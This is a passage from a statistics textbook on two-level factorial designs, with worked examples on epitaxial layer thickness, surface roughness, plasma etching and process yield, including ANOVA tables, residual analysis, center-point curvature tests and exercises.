It is easy to obtain a model for the response and residuals from a 2^k design by fitting a **regression model** to the data. For the epitaxial process experiment, the regression model is

$$Y = \beta_0 + \beta_1 x_1 + \epsilon$$

Table 14-13 The 2^2 Design for the Epitaxial Process Experiment

Treatment Combination	Design Factors			Thickness (μm)				Thickness (μm)	
	A	B	AB					Total	Average
(1)	−	−	+	14.037	14.165	13.972	13.907	56.081	14.020
a	+	−	−	14.821	14.757	14.843	14.878	59.299	14.825
b	−	+	−	13.880	13.860	14.032	13.914	55.686	13.922
ab	+	+	+	14.888	14.921	14.415	14.932	59.156	14.789

Table 14-14 Analysis of Variance for the Epitaxial Process Experiment

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
A (deposition time)	2.7956	1	2.7956	134.40	7.07 E-8
B (arsenic flow)	0.0181	1	0.0181	0.87	0.38
AB	0.0040	1	0.0040	0.19	0.67
Error	0.2495	12	0.0208		
Total	3.0672	15			

since the only active variable is deposition time, which is represented by a coded variable x_1. The low and high levels of deposition time are assigned values $x_1 = -1$ and $x_1 = +1$, respectively. The least squares fitted model is

$$\hat{y} = 14.389 + \left(\frac{0.836}{2}\right) x_1$$

where the intercept $\hat{\beta}_0$ is the grand average of all 16 observations ($\bar{y}$) and the slope $\hat{\beta}_1$ is one-half the effect estimate for deposition time. The regression coefficient is one-half the effect estimate because regression coefficients measure the effect of a unit change in x_1 on the mean of Y, and the effect estimate is based on a two-unit change from -1 to $+1$.

A coefficient relates a factor to the response and, similar to regression analysis, interest centers on whether or not a coefficient estimate is significantly different from zero. A t-test for a coefficient can also be used to test the significance of an effect. Each effect estimate in Equations 14-11 through 14-13 is the difference between two averages (that we denote in general as $\bar{y}_+ - \bar{y}_-$). In a 2^k experiment with n replicates, half the observations appear in each average so that there are $n2^{k-1}$ observations in each average. The associated coefficient estimate, say $\hat{\beta}$, equals half the associated effect estimate so that

Coefficient and Effect

$$\hat{\beta} = \frac{\text{effect}}{2} = \frac{\bar{y}_+ - \bar{y}_-}{2} \tag{14-16}$$

The standard error of $\hat{\beta}$ equals half the standard error of the effect and an effect is simply the difference between two averages. Therefore,

Standard Error of a Coefficient

$$\text{standard error } \hat{\beta} = \frac{\hat{\sigma}}{2}\sqrt{\frac{1}{n2^{k-1}} + \frac{1}{n2^{k-1}}} = \hat{\sigma}\sqrt{\frac{1}{n2^k}} \tag{14-17}$$

where $\hat{\sigma}$ is estimated from the square root of mean square error. The t-statistic to test H_0: $\beta = 0$ in a 2^k experiment is

***t*-statistic for a Coefficient**

$$t = \frac{\hat{\beta}}{\text{standard error } \hat{\beta}} = \frac{(\bar{y}_+ - \bar{y}_-)/2}{\hat{\sigma}\sqrt{\dfrac{1}{n2^k}}} \tag{14-18}$$

with degrees of freedom equal to those associated with mean square error. This statistic is similar to a two-sample t-test, but σ is estimated from root mean square error. The estimate $\hat{\sigma}$ accounts for the multiple treatments in an experiment and generally differs from the estimate used in a two-sample t-test.

Some algebra can be used to show that for a 2^k experiment the square of the t-statistic for the coefficient test equals the F-statistic used for the effect test in the analysis of variance. Also, the square of a t random variable with d degrees of freedom is an F random variable with 1 numerator and d denominator degrees of freedom. Thus, the test that compares the absolute value of the t-statistic to the t distribution is equivalent to the F-test, and either method may be used to test an effect.

This model can also be used to obtain the predicted values at the four points that form the corners of the square in the design. For example, consider the point with low deposition time ($x_1 = -1$) and low arsenic flow rate. The predicted value is

$$\hat{y} = 14.389 + \left(\frac{0.836}{2}\right)(-1) = 13.971 \ \mu\text{m}$$

and the residuals for the four runs at that design point are

$$\begin{aligned} e_1 &= 14.037 - 13.971 = 0.066 \\ e_2 &= 14.165 - 13.971 = 0.194 \\ e_3 &= 13.972 - 13.971 = 0.001 \\ e_4 &= 13.907 - 13.971 = -0.064 \end{aligned}$$

The remaining predicted values and residuals at the other three design points are calculated in a similar manner.

A normal probability plot of these residuals is shown in Fig. 14-16. This plot indicates that one residual $e_{15} = -0.392$ is an **outlier.** Examining the four runs with high deposition time and high arsenic flow rate reveals that observation $y_{15} = 14.415$ is considerably smaller

Figure 14-16 Normal probability plot of residuals for the epitaxial process experiment.

Figure 14-17 Plot of residuals versus deposition time.

Figure 14-18 Plot of residuals versus arsenic flow rate.

than the other three observations at that treatment combination. This adds some additional evidence to the tentative conclusion that observation 15 is an outlier. Another possibility is that some process variables affect the *variability* in epitaxial layer thickness. If we could discover which variables produce this effect, we could perhaps adjust these variables to levels that would minimize the variability in epitaxial layer thickness. This could have important implications in subsequent manufacturing stages. Figures 14-17 and 14-18 are plots of residuals versus deposition time and arsenic flow rate, respectively. Apart from that unusually large residual associated with y_{15}, there is no strong evidence that either deposition time or arsenic flow rate influences the variability in epitaxial layer thickness.

Figure 14-19 shows the standard deviation of epitaxial layer thickness at all four runs in the 2^2 design. These standard deviations were calculated using the data in Table 14-13. Notice that the standard deviation of the four observations with A and B at the high level is considerably larger than the standard deviations at any of the other three design points. Most of this difference is attributable to the unusually low thickness measurement associated with y_{15}. The standard deviation of the four observations with A and B at the low level is also somewhat larger than the standard deviations at the remaining two runs. This could indicate that other process variables not included in this experiment may affect the variability in epitaxial layer thickness. Another experiment to study this possibility, involving other process variables, could be designed and conducted. (The original paper in the *AT&T Technical Journal* shows that two additional factors, not considered in this example, affect process variability.)

14-5.2 2^k Design for $k \geq 3$ Factors

The methods presented in the previous section for factorial designs with $k = 2$ factors each at two levels can be easily extended to more than two factors. For example, consider $k = 3$ factors, each at two levels. This design is a 2^3 factorial design, and it has eight runs or treatment combinations. Geometrically, the design is a cube as shown in Fig. 14-20(a), with the eight runs forming the corners of the cube. Figure 14-20(b) lists the eight runs in a table, with each row representing one of the runs and the $-$ and $+$ settings indicating the low and high levels for each of the three factors. This table is sometimes called the **design matrix.** This design allows three main effects to be estimated (A, B, and C) along with three two-factor interactions (AB, AC, and BC) and a three-factor interaction (ABC).

The main effects can easily be estimated. Remember that the lowercase letters (1), a, b, ab, c, ac, bc, and abc represent the total of all n replicates at each of the eight runs in the design. As seen in Fig. 14-21(a), the main effect of A can be estimated by averaging the four

Figure 14-19 The standard deviation of epitaxial layer thickness at the four runs in the 2^2 design.

(*a*) Geometric view

Figure 14-20 The 2^3 design.

Run	*A*	*B*	*C*
1	−	−	−
2	+	−	−
3	−	+	−
4	+	+	−
5	−	−	+
6	+	−	+
7	−	+	+
8	+	+	+

(*b*) The 2^3 design matrix

Figure 14-21 Geometric presentation of contrasts corresponding to the main effects and interaction in the 2^3 design. (a) Main effects. (b) Two-factor interactions. (c) Three-factor interaction.

treatment combinations on the right-hand side of the cube, where A is at the high level, and by subtracting from this quantity the average of the four treatment combinations on the left-hand side of the cube where A is at the low level. This gives

$$\begin{aligned} A &= \bar{y}_{A+} - \bar{y}_{A-} \\ &= \frac{a + ab + ac + abc}{4n} - \frac{(1) + b + c + bc}{4n} \end{aligned}$$

This equation can be rearranged as

Main Effect of Factor A: 2^3 Design

$$\begin{aligned} A &= \bar{y}_{A+} - \bar{y}_{A-} \\ &= \frac{1}{4n}[a + ab + ac + abc - (1) - b - c - bc] \end{aligned}$$

In a similar manner, the effect of B is the difference in averages between the four treatment combinations in the back face of the cube [Fig. 14-19(a)], and the four in the front. This yields

Main Effect of Factor B: 2^3 Design

$$\begin{aligned} B &= \bar{y}_{B+} - \bar{y}_{B-} \\ &= \frac{1}{4n}[b + ab + bc + abc - (1) - a - c - ac] \end{aligned}$$

The effect of C is the difference in average response between the four treatment combinations in the top face of the cube in Figure 14-19(a) and the four in the bottom, that is,

Main Effect of Factor C: 2^3 Design

$$\begin{aligned} C &= \bar{y}_{C+} - \bar{y}_{C-} \\ &= \frac{1}{4n}[c + ac + bc + abc - (1) - a - b - ab] \end{aligned}$$

The two-factor interaction effects may be computed easily. A measure of the AB interaction is the difference between the average A effects at the two levels of B. By convention, one-half of this difference is called the AB interaction. Symbolically,

B	**Average *A* Effect**
High (+)	$\dfrac{[(abc - bc) + (ab - b)]}{2n}$
Low (−)	$\dfrac{\{(ac - c) + [a - (1)]\}}{2n}$
Difference	$\dfrac{[abc - bc + ab - b - ac + c - a + (1)]}{2n}$

Because the *AB* interaction is one-half of this difference,

Two-Factor Interaction Effect: 2^3 Design

$$AB = \frac{1}{4n}[abc - bc + ab - b - ac + c - a + (1)]$$

We could write the *AB* effect as follows:

$$AB = \frac{abc + ab + c + (1)}{4n} - \frac{bc + b + ac + a}{4n}$$

In this form, the *AB* interaction is easily seen to be the difference in averages between runs on two diagonal planes in the cube in Fig. 14-19(b). Using similar logic and referring to Fig. 14-19(b), we find that the *AC* and *BC* interactions are

Two-Factor Interaction Effect: 2^3 Design

$$AC = \frac{1}{4n}[(1) - a + b - ab - c + ac - bc + abc]$$

$$BC = \frac{1}{4n}[(1) + a - b - ab - c - ac + bc + abc]$$

The *ABC* interaction is defined as the average difference between the *AB* interaction for the two different levels of *C*. Thus,

$$ABC = \frac{1}{4n}\{[abc - bc] - [ac - c] - [ab - b] + [a - (1)]\}$$

or

Three-Factor Interaction Effect: 2^3 Design

$$ABC = \frac{1}{4n}[abc - bc - ac + c - ab + b + a - (1)]$$

As before, we can think of the *ABC* interaction as the difference in two averages. If the runs in the two averages are isolated, they define the vertices of the two tetrahedra that comprise the cube in Fig. 14-21(c).

In the equations for the effects, the quantities in brackets are contrasts in the treatment combinations. A table of plus and minus signs can be developed from the contrasts and is shown in Table 14-15. Signs for the main effects are determined directly from the test matrix in Figure 14-20(b). Once the signs for the main effect columns have been established, the signs for the remaining columns can be obtained by multiplying the appropriate main effect

Table 14-15 Algebraic Signs for Calculating Effects in the 2^3 Design

Treatment Combination	Factorial Effect							
	I	A	B	AB	C	AC	BC	ABC
(1)	+	−	−	+	−	+	+	−
a	+	+	−	−	−	−	+	+
b	+	−	+	−	−	+	−	+
ab	+	+	+	+	−	−	−	−
c	+	−	−	+	+	−	−	+
ac	+	+	−	−	+	+	−	−
bc	+	−	+	−	+	−	+	−
abc	+	+	+	+	+	+	+	+

row by row. For example, the signs in the AB column are the products of the A and B column signs in each row. The contrast for any effect can easily be obtained from this table.

Table 14-15 has several interesting properties:

1. Except for the identity column I, each column has an equal number of plus and minus signs.
2. The sum of products of signs in any two columns is zero; that is, the columns in the table are **orthogonal.**
3. Multiplying any column by column I leaves the column unchanged; that is, I is an **identity element.**
4. The product of any two columns yields a column in the table, for example $A \times B = AB$, and $AB \times ABC = A^2B^2C = C$, since any column multiplied by itself is the identity column.

The estimate of any main effect or interaction in a 2^k design is determined by multiplying the treatment combinations in the first column of the table by the signs in the corresponding main effect or interaction column, by adding the result to produce a contrast, and then by dividing the contrast by one-half the total number of runs in the experiment.

EXAMPLE 14-4 Surface Roughness

Consider the surface roughness experiment originally described in Example 14-2. This is a 2^3 factorial design in the factors feed rate (A), depth of cut (B), and tool angle (C), with $n = 2$ replicates. Table 14-16 presents the observed surface roughness data.

The effect of A, for example, is

$$A = \frac{1}{4n}[a + ab + ac + abc - (1) - b - c - bc]$$

$$= \frac{1}{4(2)}[22 + 27 + 23 + 30 - 16 - 20 - 21 - 18]$$

$$= \frac{1}{8}[27] = 3.375$$

and the sum of squares for A is found using Equation 14-15:

$$SS_A = \frac{(\text{Contrast}_A)^2}{n2^k} = \frac{(27)^2}{2(8)} = 45.5625$$

It is easy to verify that the other effects are

$$\begin{aligned} B &= 1.625 \\ C &= 0.875 \\ AB &= 1.375 \\ AC &= 0.125 \\ BC &= -0.625 \\ ABC &= 1.125 \end{aligned}$$

Examining the magnitude of the effects clearly shows that feed rate (factor A) is dominant, followed by depth of cut (B)

Table 14-16 Surface Roughness Data for Example 14-4

Treatment Combinations	Design Factors A	B	C	Surface Roughness	Totals
(1)	−1	−1	−1	9, 7	16
a	1	−1	−1	10, 12	22
b	−1	1	−1	9, 11	20
ab	1	1	−1	12, 15	27
c	−1	−1	1	11, 10	21
ac	1	−1	1	10, 13	23
bc	−1	1	1	10, 8	18
abc	1	1	1	16, 14	30

and the *AB* interaction, although the interaction effect is relatively small. The analysis of variance, summarized in Table 14-17, confirms our interpretation of the effect estimates.

Minitab will analyze 2^k factorial designs. The output from the Minitab DOE (Design of Experiments) module for this experiment is shown in Table 14-18. The upper portion of the table displays the effect estimates and regression coefficients for each factorial effect. However, the t-statistic computed from Equation 14-18 is reported for each effect instead of the F-statistic used in Table 14-17. To illustrate, for the main effect of feed Minitab reports $t = 4.32$ (with eight degrees of freedom), and $t^2 = (4.32)^2 = 18.66$, which is approximately equal to the F-ratio for feed reported in Table 14-17 ($F = 18.69$). This F-ratio has one numerator and eight denominator degrees of freedom.

The lower panel of the Minitab output in Table 14-18 is an analysis of variance summary focusing on the types of terms in the model. A regression model approach is used in the presentation. You might find it helpful to review Section 12-2.2, particularly the material on the partial F-test. The row entitled "main effects" under source refers to the three main effects feed, depth, and angle, each having a single degree of freedom, giving the total 3 in the column headed "DF." The column headed "Seq SS" (an abbreviation for sequential sum of squares) reports how much the model sum of squares increases when each group of terms is added to a model that contains the terms listed *above* the groups. The first number in the "Seq SS" column presents the model sum of squares for fitting a model having only the three main effects. The row labeled "2-Way Interactions" refers to *AB*, *AC*, and *BC*, and the sequential sum of squares reported here is the increase in the model sum of squares if the interaction terms are added to a model containing only the main effects. Similarly, the sequential sum of squares for the three-way interaction is the increase in the model sum of squares that results from adding the term *ABC* to a model containing all other effects.

The column headed "Adj SS" (an abbreviation for adjusted sum of squares) reports how much the model sum of squares increases when each group of terms is added to a model that contains *all* the other terms. Now since any 2^k design with an equal number of replicates in each cell is an orthogonal design, the adjusted sum of squares will equal the sequential sum of squares. Therefore, the F-tests for each row in the Minitab analysis of variance table are testing the significance

Table 14-17 Analysis of Variance for the Surface Finish Experiment

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
A	45.5625	1	45.5625	18.69	0.0025
B	10.5625	1	10.5625	4.33	0.0709
C	3.0625	1	3.0625	1.26	0.2948
AB	7.5625	1	7.5625	3.10	0.1162
AC	0.0625	1	0.0625	0.03	0.8784
BC	1.5625	1	1.5625	0.64	0.4548
ABC	5.0625	1	5.0625	2.08	0.1875
Error	19.5000	8	2.4375		
Total	92.9375	15			

Table 14-18 Minitab Analysis for Example 14-4

Estimated Effects and Coefficients for Roughness

Term	Effect	Coef	StDev Coef	T	P
Constant		11.0625	0.3903	28.34	0.000
Feed	3.3750	1.6875	0.3903	4.32	0.003
Depth	1.6250	0.8125	0.3903	2.08	0.071
Angle	0.8750	0.4375	0.3903	1.12	0.295
Feed*Depth	1.3750	0.6875	0.3903	1.76	0.116
Feed*Angle	0.1250	0.0625	0.3903	0.16	0.877
Depth*Angle	−0.6250	−0.3125	0.3903	−0.80	0.446
Feed*Depth*Angle	1.1250	0.5625	0.3903	1.44	0.188

Analysis of Variance for Roughness

Source	DF	Seq SS	Adj SS	Adj MS	F	P
Main Effects	3	59.188	59.188	19.729	8.09	0.008
2-Way Interactions	3	9.187	9.187	3.062	1.26	0.352
3-Way Interactions	1	5.062	5.062	5.062	2.08	0.188
Residual Error	8	19.500	19.500	2.437		
Pure Error	8	19.500	19.500	2.437		
Total	15	92.938				

of each group of terms (main effects, two-factor interactions, and three-factor interactions) as if they were the last terms to be included in the model. Clearly, only the main effect terms are significant. The *t*-tests on the individual factor effects indicate that feed rate and depth of cut have large main effects, and there may be some mild interaction between these two factors. Therefore, the Minitab output is in agreement with the results given previously.

Models and Residual Analysis

We may obtain the residuals from a 2^k design by using the method demonstrated earlier for the 2^2 design. As an example, consider the surface roughness experiment. The three largest effects are *A*, *B*, and the *AB* interaction. The regression model used to obtain the predicted values is

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_{12} x_1 x_2 + \epsilon$$

where x_1 represents factor *A*, x_2 represents factor *B*, and x_1x_2 represents the *AB* interaction. The regression coefficients β_1, β_2, and β_{12} are estimated by one-half the corresponding effect estimates, and β_0 is the grand average. Thus,

$$\begin{aligned}\hat{y} &= 11.0625 + \left(\frac{3.375}{2}\right)x_1 + \left(\frac{1.625}{2}\right)x_2 + \left(\frac{1.375}{2}\right)x_1x_2 \\ &= 11.0625 + 1.6875x_1 + 0.8125x_2 + 0.6875x_1x_2\end{aligned}$$

Note that the regression coefficients are presented by Minitab in the upper panel of Table 14-18. The predicted values would be obtained by substituting the low and high levels of *A* and *B* into

Figure 14-22
Normal probability plot of residuals from the surface roughness experiment.

this equation. To illustrate this, at the treatment combination where A, B, and C are all at the low level, the predicted value is

$$\hat{y} = 11.0625 + 1.6875(-1) + 0.8125(-1) + 0.6875(-1)(-1) = 9.25$$

Since the observed values at this run are 9 and 7, the residuals are $9 - 9.25 = -0.25$ and $7 - 9.25 = -2.25$. Residuals for the other 14 runs are obtained similarly.

A normal probability plot of the residuals is shown in Fig. 14-22. Since the residuals lie approximately along a straight line, we do not suspect any problem with normality in the data. There are no indications of severe outliers. It would also be helpful to plot the residuals versus the predicted values and against each of the factors A, B, and C.

Projection of 2^k Designs

Any 2^k design will collapse or project into another 2^k design in fewer variables if one or more of the original factors are dropped. Sometimes this can provide additional insight into the remaining factors. For example, consider the surface roughness experiment. Since factor C and all its interactions are negligible, we could eliminate factor C from the design. The result is to collapse the cube in Fig. 14-20 into a square in the $A - B$ plane; therefore, each of the four runs in the new design has four replicates. In general, if we delete h factors so that $r = k - h$ factors remain, the original 2^k design with n replicates will project into a 2^r design with $n2^h$ replicates.

14-5.3 Single Replicate of the 2^k Design

As the number of factors in a factorial experiment grows, the number of effects that can be estimated also grows. For example, a 2^4 experiment has 4 main effects, 6 two-factor interactions, 4 three-factor interactions, and 1 four-factor interaction, while a 2^6 experiment has 6 main effects, 15 two-factor interactions, 20 three-factor interactions, 15 four-factor interactions, 6 five-factor interactions, and 1 six-factor interaction. In most situations the

sparsity of effects principle applies; that is, the system is usually dominated by the main effects and low-order interactions. The three-factor and higher order interactions are usually negligible. Therefore, when the number of factors is moderately large, say, $k \geq 4$ or 5, a common practice is to run only a single replicate of the 2^k design and then pool or combine the higher order interactions as an estimate of error. Sometimes a single replicate of a 2^k design is called an **unreplicated** 2^k factorial design.

When analyzing data from unreplicated factorial designs, occasionally real high-order interactions occur. The use of an error mean square obtained by pooling high-order interactions is inappropriate in these cases. A simple method of analysis can be used to overcome this problem. Construct a plot of the estimates of the effects on a normal probability scale. The effects that are negligible are normally distributed, with mean zero and variance σ^2 and will tend to fall along a straight line on this plot, whereas significant effects will have nonzero means and will not lie along the straight line. We will illustrate this method in the next example.

EXAMPLE 14-5 Plasma Etch

An article in *Solid State Technology* ["Orthogonal Design for Process Optimization and Its Application in Plasma Etching" (May 1987, pp. 127–132)] describes the application of factorial designs in developing a nitride etch process on a single-wafer plasma etcher. The process uses C_2F_6 as the reactant gas. It is possible to vary the gas flow, the power applied to the cathode, the pressure in the reactor chamber, and the spacing between the anode and the cathode (gap). Several response variables would usually be of interest in this process, but in this example we will concentrate on etch rate for silicon nitride.

We will use a single replicate of a 2^4 design to investigate this process. Since it is unlikely that the three- and four-factor interactions are significant, we will tentatively plan to combine them as an estimate of error. The factor levels used in the design are shown below:

Design Factor

Level	Gap (cm)	Pressure (mTorr)	C_2F_6 Flow (SCCM)	Power (w)
Low (−)	0.80	450	125	275
High (+)	1.20	550	200	325

Table 14-19 presents the data from the 16 runs of the 2^4 design. Table 14-20 is the table of plus and minus signs for the 2^4 design. The signs in the columns of this table can be used to estimate the factor effects. For example, the estimate of factor A is

$$\begin{aligned} A &= \frac{1}{8}[a + ab + ac + abc + ad + abd + acd \\ &\quad + abcd - (1) - b - c - bc - d - bd - cd - bcd] \\ &= \frac{1}{8}[669 + 650 + 642 + 635 + 749 + 868 + 860 \\ &\quad + 729 - 550 - 604 - 633 - 601 - 1037 \\ &\quad - 1052 - 1075 - 1063] \\ &= -101.625 \end{aligned}$$

Thus, the effect of increasing the gap between the anode and the cathode from 0.80 to 1.20 centimeters is to decrease the etch rate by 101.625 angstroms per minute.

It is easy to verify (using Minitab, for example) that the complete set of effect estimates is

$$\begin{aligned} A &= -101.625 & AD &= -153.625 \\ B &= -1.625 & BD &= -0.625 \\ AB &= -7.875 & ABD &= 4.125 \\ C &= 7.375 & CD &= -2.125 \\ AC &= -24.875 & ACD &= 5.625 \\ BC &= -43.875 & BCD &= -25.375 \\ ABC &= -15.625 & ABCD &= -40.125 \\ D &= 306.125 \end{aligned}$$

The normal probability plot of these effects from the plasma etch experiment is shown in Fig. 14-23. Clearly, the main effects of A and D and the AD interaction are significant, because they fall far from the line passing through the other

Table 14-19 The 2^4 Design for the Plasma Etch Experiment

A (Gap)	*B* (Pressure)	*C* (C_2F_6 Flow)	*D* (Power)	Etch Rate (Å/min)
−1	−1	−1	−1	550
1	−1	−1	−1	669
−1	1	−1	−1	604
1	1	−1	−1	650
−1	−1	1	−1	633
1	−1	1	−1	642
−1	1	1	−1	601
1	1	1	−1	635
−1	−1	−1	1	1037
1	−1	−1	1	749
−1	1	−1	1	1052
1	1	−1	1	868
−1	−1	1	1	1075
1	−1	1	1	860
−1	1	1	1	1063
1	1	1	1	729

points. The analysis of variance summarized in Table 14-21 confirms these findings. Notice that in the analysis of variance we have pooled the three- and four-factor interactions to form the error mean square. If the normal probability plot had indicated that any of these interactions were important, they would not have been included in the error term.

Practical Interpretation: Since $A = -101.625$, the effect of increasing the gap between the cathode and anode is to decrease the etch rate. However, $D = 306.125$; thus, applying higher power levels will increase the etch rate. Figure 14-24 is a plot of the *AD* interaction. This plot indicates that the effect of changing the gap width at low power settings is small, but that increasing the gap at high power settings dramatically reduces the etch rate. High etch rates are obtained at high power settings and narrow gap widths.

Table 14-20 Contrast Constants for the 2^4 Design

	A	*B*	*AB*	*C*	*AC*	*BC*	*ABC*	*D*	*AD*	*BD*	*ABD*	*CD*	*ACD*	*BCD*	*ABCD*
(1)	−	−	+	−	+	+	−	−	+	+	−	+	−	−	+
a	+	−	−	−	−	+	+	−	−	+	+	+	+	−	−
b	−	+	−	−	+	−	+	−	+	−	+	+	−	+	−
ab	+	+	+	−	−	−	−	−	−	−	−	+	+	+	+
c	−	−	+	+	−	−	+	−	+	+	−	−	+	+	−
ac	+	−	−	+	+	−	−	−	−	+	+	−	−	+	+
bc	−	+	−	+	−	+	−	−	+	−	+	−	+	−	+
abc	+	+	+	+	+	+	+	−	−	−	−	−	−	−	−
d	−	−	+	−	+	+	−	+	−	−	+	−	+	+	−
ad	+	−	−	−	−	+	+	+	+	−	−	−	−	+	+
bd	−	+	−	−	+	−	+	+	−	+	−	−	+	−	+
abd	+	+	+	−	−	−	−	+	+	+	+	−	−	−	−
cd	−	−	+	+	−	−	+	+	−	−	+	+	−	−	+
acd	+	−	−	+	+	−	−	+	+	−	−	+	+	−	−
bcd	−	+	−	+	−	+	−	+	−	+	−	+	−	+	−
abcd	+	+	+	+	+	+	+	+	+	+	+	+	+	+	+

Figure 14-23 Normal probability plot of effects from the plasma etch experiment.

Figure 14-24 *AD* (Gap-Power) interaction from the plasma etch experiment.

The residuals from the experiment in Example 14-5 can be obtained from the regression model

$$\hat{y} = 776.0625 - \left(\frac{101.625}{2}\right)x_1 + \left(\frac{306.125}{2}\right)x_4 - \left(\frac{153.625}{2}\right)x_1x_4$$

For example, when both A and D are at the low level, the predicted value is

$$\begin{aligned}\hat{y} &= 776.0625 - \left(\frac{101.625}{2}\right)(-1) + \left(\frac{306.125}{2}\right)(-1) - \left(\frac{153.625}{2}\right)(-1)(-1)\\ &= 597\end{aligned}$$

Table 14-21 Analysis of Variance for the Plasma Etch Experiment

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
A	41,310.563	1	41,310.563	20.28	0.0064
B	10.563	1	10.563	<1	—
C	217.563	1	217.563	<1	—
D	374,850.063	1	374,850.063	183.99	0.0000
AB	248.063	1	248.063	<1	—
AC	2,475.063	1	2,475.063	1.21	0.3206
AD	94,402.563	1	94,402.563	46.34	0.0010
BC	7,700.063	1	7,700.063	3.78	0.1095
BD	1.563	1	1.563	<1	—
CD	18.063	1	18.063	<1	—
Error	10,186.813	5	2,037.363		
Total	531,420.938	15			

Figure 14-25 Normal probability plot of residuals from the plasma etch experiment.

and the four residuals at this treatment combination are

$$e_1 = 550 - 597 = -47 \qquad e_2 = 604 - 597 = 7$$
$$e_3 = 633 - 597 = 36 \qquad e_4 = 601 - 597 = 4$$

The residuals at the other three treatment combinations (A high, D low), (A low, D high), and (A high, D high) are obtained similarly. A normal probability plot of the residuals is shown in Fig. 14-25. The plot is satisfactory.

14-5.4 Addition of Center Points to a 2^k Design

A potential concern in the use of two-level factorial designs is the assumption of linearity in the factor effects. Of course, perfect linearity is unnecessary, and the 2^k system will work quite well even when the linearity assumption holds only approximately. However, there is a method of replicating certain points in the 2^k factorial that will provide protection against curvature as well as allow an independent estimate of error to be obtained. The method consists of adding **center points** to the 2^k design. These consist of n_C replicates run at the point $x_i = 0$ ($i = 1, 2, \ldots, k$). One important reason for adding the replicate runs at the design center is that center points do not affect the usual effects estimates in a 2^k design. We assume that the k factors are quantitative.

To illustrate the approach, consider a 2^2 design with one observation at each of the factorial points $(-, -)$, $(+, -)$, $(-, +)$, and $(+, +)$ and n_C observations at the center points $(0, 0)$. Figure 14-26 illustrates the situation. Let $\bar{y}_F$ be the average of the four runs at the four factorial points, and let $\bar{y}_C$ be the average of the n_C run at the center point. If the difference $\bar{y}_F - \bar{y}_C$ is small, the center points lie on or near the plane passing through the factorial points,

Figure 14-26 A 2^2 design with center points.

and there is no curvature. On the other hand, if $\bar{y}_F - \bar{y}_C$ is large, curvature is present. A single-degree-of-freedom sum of squares for curvature is given by

Curvature Sum of Squares

$$SS_{\text{Curvature}} = \frac{n_F n_C(\bar{y}_F - \bar{y}_C)^2}{n_F + n_C} = \left(\frac{\bar{y}_F - \bar{y}_C}{\sqrt{\dfrac{1}{n_F} + \dfrac{1}{n_C}}}\right)^2 \tag{14-19}$$

where, in general, n_F is the number of factorial design points. This quantity may be compared to the error mean square to test for curvature. Notice that when Equation 14-19 is divided by $\hat{\sigma}^2 = MS_E$, the result is similar to the square of the t statistic used to compare two means.

More specifically, when points are added to the center of the 2^k design, the model we may entertain is

$$Y = \beta_0 + \sum_{j=1}^{k} \beta_j x_j + \sum_{i<j}\sum \beta_{ij} x_i x_j + \sum_{j=1}^{k} \beta_{jj} x_j^2 + \epsilon$$

where the β_{jj} are pure quadratic effects. The test for curvature actually tests the hypotheses

$$H_0\colon \sum_{j=1}^{k} \beta_{jj} = 0$$

$$H_1\colon \sum_{j=1}^{k} \beta_{jj} \neq 0$$

Furthermore, if the factorial points in the design are unreplicated, we may use the n_C center points to construct an estimate of error with $n_C - 1$ degrees of freedom.

Figure 14-27 The 2^2 design with five center points for Example 14-6.

EXAMPLE 14-6 Process Yield

A chemical engineer is studying the percentage of conversion or yield of a process. There are two variables of interest, reaction time and reaction temperature. Because she is uncertain about the assumption of linearity over the region of exploration, the engineer decides to conduct a 2^2 design (with a single replicate of each factorial run) augmented with five center points. The design and the yield data are shown in Fig. 14-27.

Table 14-22 summarizes the analysis of variance for this experiment. The mean square error is calculated from the center points as follows:

$$MS_E = \frac{SS_E}{n_C - 1} = \frac{\sum_{\text{Center points}} (y_i - \bar{y}_C)^2}{n_C - 1}$$

$$= \frac{\sum_{i=1}^{5} (y_i - 40.46)^2}{4} = \frac{0.1720}{4} = 0.0430$$

The average of the points in the factorial portion of the design is $\bar{y}_F = 40.425$, and the average of the points at the center is $\bar{y}_C = 40.46$. The difference $\bar{y}_F - \bar{y}_C = 40.425 - 40.46 = -0.035$ appears to be small. The curvature sum of squares in the analysis of variance table is computed from Equation 14-19 as follows:

$$SS_{\text{Curvature}} = \frac{n_F n_C (\bar{y}_F - \bar{y}_C)^2}{n_F + n_C}$$

$$= \frac{(4)(5)(-0.035)^2}{4 + 5} = 0.0027$$

Practical Interpretation: The analysis of variance indicates that both factors exhibit significant main effects, that there is no interaction, and that there is no evidence of curvature in the response over the region of exploration. That is, the null hypothesis H_0: $\sum_{j=1}^{k} \beta_{jj} = 0$ cannot be rejected.

Table 14-22 Analysis of Variance for Example 14-6

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
A (Time)	2.4025	1	2.4025	55.87	0.0017
B (Temperature)	0.4225	1	0.4225	9.83	0.0350
AB	0.0025	1	0.0025	0.06	0.8237
Curvature	0.0027	1	0.0027	0.06	0.8163
Error	0.1720	4	0.0430		
Total	3.0022	8			

EXERCISES FOR SECTION 14-5

14-12. An engineer is interested in the effect of cutting speed (A), metal hardness (B), and cutting angle (C) on the life of a cutting tool. Two levels of each factor are chosen, and two replicates of a 2^3 factorial design are run. The tool life data (in hours) are shown in the table at right.

Treatment Combination	Replicate I	Replicate II
(1)	221	311
a	325	435
b	354	348
ab	552	472
c	440	453
ac	406	377
bc	605	500
abc	392	419

(a) Analyze the data from this experiment.
(b) Find an appropriate regression model that explains tool life in terms of the variables used in the experiment.
(c) Analyze the residuals from this experiment.

14-13. Four factors are thought to influence the taste of a soft-drink beverage: type of sweetener (A), ratio of syrup to water (B), carbonation level (C), and temperature (D). Each factor can be run at two levels, producing a 2^4 design. At each run in the design, samples of the beverage are given to a test panel consisting of 20 people. Each tester assigns the beverage a point score from 1 to 10. Total score is the response variable, and the objective is to find a formulation that maximizes total score. Two replicates of this design are run, and the results are shown in the table. Analyze the data and draw conclusions. Use $\alpha = 0.05$ in the statistical tests.

Treatment Combination	Replicate I	Replicate II
(1)	159	163
a	168	175
b	158	163
ab	166	168
c	175	178
ac	179	183
bc	173	168
abc	179	182
d	164	159
ad	187	189
bd	163	159
abd	185	191
cd	168	174
acd	197	199
bcd	170	174
abcd	194	198

